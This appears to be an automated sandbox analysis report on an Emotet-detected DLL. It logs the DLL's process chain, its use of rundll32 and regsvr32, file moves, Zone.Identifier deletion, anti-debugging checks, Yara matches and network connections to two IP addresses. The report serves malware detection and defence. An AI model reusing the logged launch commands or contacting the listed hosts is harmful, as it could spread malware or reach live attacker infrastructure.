Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\SysWOW64\regsvr32.exe

Section loaded: sfc.dll

Jump to behavior

Source: pugKLanrj3.dll	Virustotal: Detection: 26%
Source: pugKLanrj3.dll	ReversingLabs: Detection: 32%

Source: pugKLanrj3.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\pugKLanrj3.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pugKLanrj3.dll,DllRegisterServer
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ubjbeaftth\ufcmfnoys.ulp",EgkecrKVKe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ubjbeaftth\ufcmfnoys.ulp",DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\pugKLanrj3.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pugKLanrj3.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ubjbeaftth\ufcmfnoys.ulp",EgkecrKVKe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ubjbeaftth\ufcmfnoys.ulp",DllRegisterServer	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal96.troj.evad.winDLL@21/2@0/28

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_100126F9 FindResourceA,LoadResource,LockResource,FreeResource,

2_2_100126F9

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: pugKLanrj3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: pugKLanrj3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: pugKLanrj3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: pugKLanrj3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: pugKLanrj3.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10019891 push ecx; ret	2_2_100198A4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10017C60 push ecx; ret	2_2_10017C73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10019891 push ecx; ret	3_2_100198A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10017C60 push ecx; ret	3_2_10017C73
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_03091195 push cs; iretd	3_2_03091197
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_030A08E0 push esp; iretd	3_2_030A08E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006C1195 push cs; iretd	4_2_006C1197
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_04971195 push cs; iretd	7_2_04971197
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E708E0 push esp; iretd	9_2_02E708E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E61195 push cs; iretd	9_2_02E61197

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_10023A79 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__invoke_watson,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__invoke_watson,__decode_pointer,__decode_pointer,__decode_pointer,

2_2_10023A79

Source: pugKLanrj3.dll

Static PE information: real checksum: 0x66354 should be: 0x68650

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\pugKLanrj3.dll

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Ubjbeaftth\ufcmfnoys.ulp

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Ubjbeaftth\ufcmfnoys.ulp:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Xsanfz\urubdibogzamw.hym:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1000D804 IsIconic,GetWindowPlacement,GetWindowRect,	2_2_1000D804
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10008B90 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	2_2_10008B90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1000D804 IsIconic,GetWindowPlacement,GetWindowRect,	3_2_1000D804
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10008B90 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	3_2_10008B90

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 5380

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-17944

Source: C:\Windows\SysWOW64\regsvr32.exe	API coverage: 4.3 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 4.9 %

Source: C:\Windows\SysWOW64\regsvr32.exe	API call chain: ExitProcess graph end node			graph_2-17946
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node			graph_3-20790

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 00000011.00000002.435659671.0000024AA74EF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000011.00000002.435533157.0000024AA7472000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_1001C49A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_1001C49A

Source: C:\Windows\SysWOW64\regsvr32.exe

2_2_10023A79

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_100178B6 GetProcessHeap,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,__heap_term,__RTC_Initialize,GetCommandLineA,___crtGetEnvironmentStringsA,__ioinit,__mtterm,__setargv,__setenvp,__cinit,__ioterm,__ioterm,__mtterm,__heap_term,___set_flsgetvalue,__calloc_crt,__decode_pointer,__initptd,GetCurrentThreadId,__freeptd,

2_2_100178B6

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0309F7F7 mov eax, dword ptr fs:[00000030h]	3_2_0309F7F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_006CF7F7 mov eax, dword ptr fs:[00000030h]	4_2_006CF7F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0497F7F7 mov eax, dword ptr fs:[00000030h]	7_2_0497F7F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_02E6F7F7 mov eax, dword ptr fs:[00000030h]	9_2_02E6F7F7

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1001C49A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_1001C49A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_10021743 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_10021743
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_100167D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_100167D5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1001FC21 SetUnhandledExceptionFilter,__encode_pointer,	2_2_1001FC21
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_1001FC43 __decode_pointer,SetUnhandledExceptionFilter,	2_2_1001FC43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001C49A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_1001C49A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10021743 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_10021743
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100167D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_100167D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001FC21 SetUnhandledExceptionFilter,__encode_pointer,	3_2_1001FC21
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001FC43 __decode_pointer,SetUnhandledExceptionFilter,	3_2_1001FC43

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 69.16.218.101 144			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.138.98.34 80			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pugKLanrj3.dll",#1

Jump to behavior

Source: rundll32.exe, 0000000A.00000002.817760750.0000000002D70000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 0000000A.00000002.817760750.0000000002D70000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 0000000A.00000002.817760750.0000000002D70000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 0000000A.00000002.817760750.0000000002D70000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	2_2_10027704
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: _strcpy_s,__snprintf_s,GetLocaleInfoA,LoadLibraryA,	2_2_1000A803
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	2_2_10023880
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	3_2_10027704
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strcpy_s,__snprintf_s,GetLocaleInfoA,LoadLibraryA,	3_2_1000A803
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	3_2_10023880

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_10022853 cpuid

2_2_10022853

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_1001F914 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_1001F914

Source: C:\Windows\SysWOW64\regsvr32.exe

2_2_100178B6

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 7.2.rundll32.exe.4fb0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.6c0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4660000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4fa0000.21.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4a90000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4950000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.3090000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4a90000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.550000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.47a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4710000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4630000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2e50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4fd0000.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.49b0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4ed0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.d20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2e30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4d20000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4820000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4fe0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4540000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4ac0000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4e70000.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4960000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4990000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.47f0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4710000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4570000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4c70000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.5000000.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4b90000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.720000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4980000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4ea0000.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4e70000.18.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.49e0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4ea0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.ed0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4790000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4790000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4540000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4950000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4ea0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.5010000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.6c0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4fb0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.47a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.47c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4f70000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4f70000.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.47f0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4fd0000.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4740000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4bc0000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4b90000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4970000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4960000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.520000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4d20000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4820000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4ca0000.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.690000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.47f0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.4c70000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.49b0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4630000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.47f0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312426426.0000000004790000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.303864837.0000000002E50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308717246.0000000004ED1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.312591906.0000000002E30000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308496197.00000000047A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818600479.0000000004CA1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816263427.0000000000551000.00000020.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312707880.0000000004991000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818149949.0000000004821000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312062487.0000000004571000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.303938818.0000000003091000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312157578.0000000004630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308585132.0000000004D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.303434167.0000000000D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.310610436.0000000000690000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818434536.0000000004B90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818253319.00000000049B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308691982.0000000004EA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312211500.0000000004661000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818342645.0000000004A90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816816895.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818930567.0000000004F70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308783720.0000000004FE1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312650834.0000000004960000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818769110.0000000004E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818077767.0000000004741000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818990382.0000000004FA1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818118455.00000000047F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.311999484.0000000004540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.312633523.0000000002E61000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818553417.0000000004C70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312609575.0000000004821000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818862903.0000000004EA1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818277549.00000000049E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.819036173.0000000004FD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818224414.0000000004981000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818194001.0000000004950000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.819084555.0000000005001000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312500126.00000000047C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.303487631.0000000000ED1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816889903.0000000000721000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.816215619.0000000000520000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308811399.0000000005011000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.308759081.0000000004FB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818044267.0000000004710000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818377834.0000000004AC1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.818471974.0000000004BC1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.312556159.00000000047F0000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_100011C0 WSAStartup,_memset,htonl,htons,socket,bind,setsockopt,		2_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100011C0 WSAStartup,_memset,htonl,htons,socket,bind,setsockopt,		3_2_100011C0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
